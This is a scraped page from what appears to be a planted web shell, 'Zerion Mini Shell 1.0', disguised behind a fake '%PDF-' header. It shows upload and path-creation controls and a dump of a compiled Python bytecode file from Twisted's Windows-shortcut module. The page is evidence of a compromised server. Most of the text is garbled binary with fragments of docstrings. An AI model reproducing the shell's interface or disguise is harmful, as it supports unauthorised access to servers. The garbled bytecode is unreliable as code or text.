%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/shortcut.cpython-312.pyc

�

Ϫ�f���>�dZddlZddlZddlmZd�ZGd�d�Zy)z5
Creation of  Windows shortcuts.

Requires win32all.
�N)�shellc�<�t�}|j|�|S)zg
    Open an existing shortcut for reading.

    @return: The shortcut object
    @rtype: Shortcut
    )�Shortcut�load)�filename�scs  �9/usr/lib/python3/dist-packages/twisted/python/shortcut.py�openr
s��
��B��G�G�H��
�I�c�6�eZdZdZ						dd�Zd�Zd�Zd�Zy)rz
    A shortcut on Win32.
    Nc��tjtjdtjtj
�|_|�.|jtjj|��|�|j|�|�|j|�|�.|jtjj|��|�0|jtjj|�|�yy)a�
        @param path: Location of the target
        @param arguments: If path points to an executable, optional arguments
                      to pass
        @param description: Human-readable description of target
        @param workingdir: Directory from which target is launched
        @param iconpath: Filename that contains an icon for the shortcut
        @param iconidx: If iconpath is set, optional index of the icon desired
        N)�	pythoncom�CoCreateInstancer�CLSID_ShellLink�CLSCTX_INPROC_SERVER�IID_IShellLink�_base�SetPath�os�path�abspath�SetArguments�SetDescription�SetWorkingDirectory�SetIconLocation)�selfr�	arguments�description�
workingdir�iconpath�iconidxs       r	�__init__zShortcut.__init__"s���$�/�/��!�!���*�*�� � �	
��
����L�L�������.�/�� ����i�(��"�����,��!��$�$�R�W�W�_�_�Z�%@�A���� � �������!:�G�D� rc��|jjtj�j	t
jj|��y)z1
        Read a shortcut file from disk.
        N)r�QueryInterfacer�IID_IPersistFile�Loadrrr�rrs  r	rz
Shortcut.loadEs7��	
�
�
�!�!�)�"<�"<�=�B�B��G�G�O�O�H�%�	
rc��|jjtj�j	t
jj|�d�y)z^
        Write the shortcut to disk.

        The file should be named something.lnk.
        rN)rr$rr%�Saverrrr's  r	�savez
Shortcut.saveMs9��	
�
�
�!�!�)�"<�"<�=�B�B��G�G�O�O�H�%�q�	
rc�.�t|j|�S)N)�getattrr)r�names  r	�__getattr__zShortcut.__getattr__Ws���t�z�z�4�(�(r)NNNNNr)�__name__�
__module__�__qualname__�__doc__r"rr*r.�rr	rrs1���������!E�F
�
�)rr)r2rr�win32com.shellrr
rr3rr	�<module>r5s$��
�
�� �	�;)�;)r

Zerion Mini Shell 1.0